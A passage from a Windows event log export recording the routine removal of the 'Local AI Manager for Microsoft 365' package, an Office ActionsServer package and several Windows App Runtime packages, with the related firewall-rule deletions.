Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.754\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.755\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.773\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.776\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.778\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.794\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.795\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.808\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.846\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.847\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1003.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.882\t400\tDeployment Remove operation with target volume C: on Package aimgr_0.20.61.0_x64__8wekyb3d8bbwe from:  (aimgr_0.20.61.0_x64__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.905\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.911\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.917\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_60.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.918\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.919\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.920\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.925\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_61.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.928\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.934\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_62.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.937\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.938\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.939\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.944\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_63.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.946\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.948\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.950\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.954\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_64.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.957\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.960\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.964\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_65.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.965\t607\tDeployment Remove operation on package aimgr_0.20.61.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1006.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.979\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.981\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.001\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.004\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.007\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.040\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: aimgr_0.20.61.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.042\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.043\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.043\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.046\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.062\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.065\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.083\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.086\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.088\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.107\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.108\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.126\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.128\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.130\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.147\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.149\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.166\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.198\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.220\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.220\t617\tSuccessfully updated the status for package aimgr_0.20.61.0_x64__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0x0, Set=0x20).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.292\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\taimgr_8wekyb3d8bbweS-1-5-21-3712849175-2219398513-4278588552-1006-Out-Block\n\tRule Name:\tLocal AI Manager for Microsoft 365\n\tModifying User:\tS-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052\n\tModifying Application:\tC:\\WINDOWS\\System32\\svchost.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:16:51.293\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\taimgr_8wekyb3d8bbweS-1-5-21-3712849175-2219398513-4278588552-1006-In-Block\n\tRule Name:\tLocal AI Manager for Microsoft 365\n\tModifying User:\tS-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052\n\tModifying Application:\tC:\\WINDOWS\\System32\\svchost.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:16:51.517\t1024\tPackage aimgr_8wekyb3d8bbwe for user S-1-5-21-3712849175-2219398513-4278588552-1006 successfully deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:51.556\t2415\tAn application was unregistered with the following parameters: aimgr_8wekyb3d8bbwe!aimgr [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:51.563\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.564\t617\tSuccessfully updated the status for package aimgr_0.20.61.0_x64__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.571\t41\tSuccessfully deleted AppContainer aimgr_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:51.605\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:51.703\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.708\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.718\t400\tDeployment Remove operation with target volume C: on Package aimgr_0.20.61.0_x64__8wekyb3d8bbwe from:  (aimgr_0.20.61.0_x64__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.729\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\aimgr_0.20.61.0_x64__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\aimgr_0.20.61.0_x64__8wekyb3d8bbweb30db7cd-a4ad-4d63-a081-6ed847affaf5. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.753\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.760\t603\tStarted deployment DeprovisionPackageOperation operation on a package with main parameter Microsoft.Office.ActionsServer_8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.769\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_66.rslc for DeprovisionPackageOperation Operation on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.770\t607\tDeployment DeprovisionPackageOperation operation on package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1006.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.814\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.819\t400\tDeployment DeprovisionPackageOperation operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.838\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.843\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and Options RemoveForAllUsers and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.851\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_67.rslc for Remove Operation on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.852\t607\tDeployment Remove operation on package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1002.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.854\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_68.rslc for Remove Operation on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.856\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_69.rslc for Remove Operation on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.859\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe deferredRemovePackageFullNames: Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.860\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_70.rslc for Remove Operation on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.863\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_71.rslc for Remove Operation on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.868\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_72.rslc for Remove Operation on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.894\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.895\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1002.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.933\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.957\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:51.961\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.967\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_73.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.969\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.971\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.973\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:51.975\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_74.rslc for Remove Operation on Package 